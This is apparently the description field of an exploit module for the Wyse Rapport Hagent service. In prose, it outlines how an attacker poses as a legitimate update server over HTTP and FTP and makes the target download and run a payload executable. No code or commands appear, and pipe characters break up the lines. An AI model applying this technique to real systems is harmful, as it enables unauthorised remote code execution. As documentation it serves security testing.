This module exploits the Wyse Rapport Hagent service by pretending to
|
|
be a legitimate server. This process involves starting both HTTP and
|
|
FTP services on the attacker side, then contacting the Hagent service of
|
|
the target and indicating that an update is available. The target will
|
|
then download the payload wrapped in an executable from the FTP service.
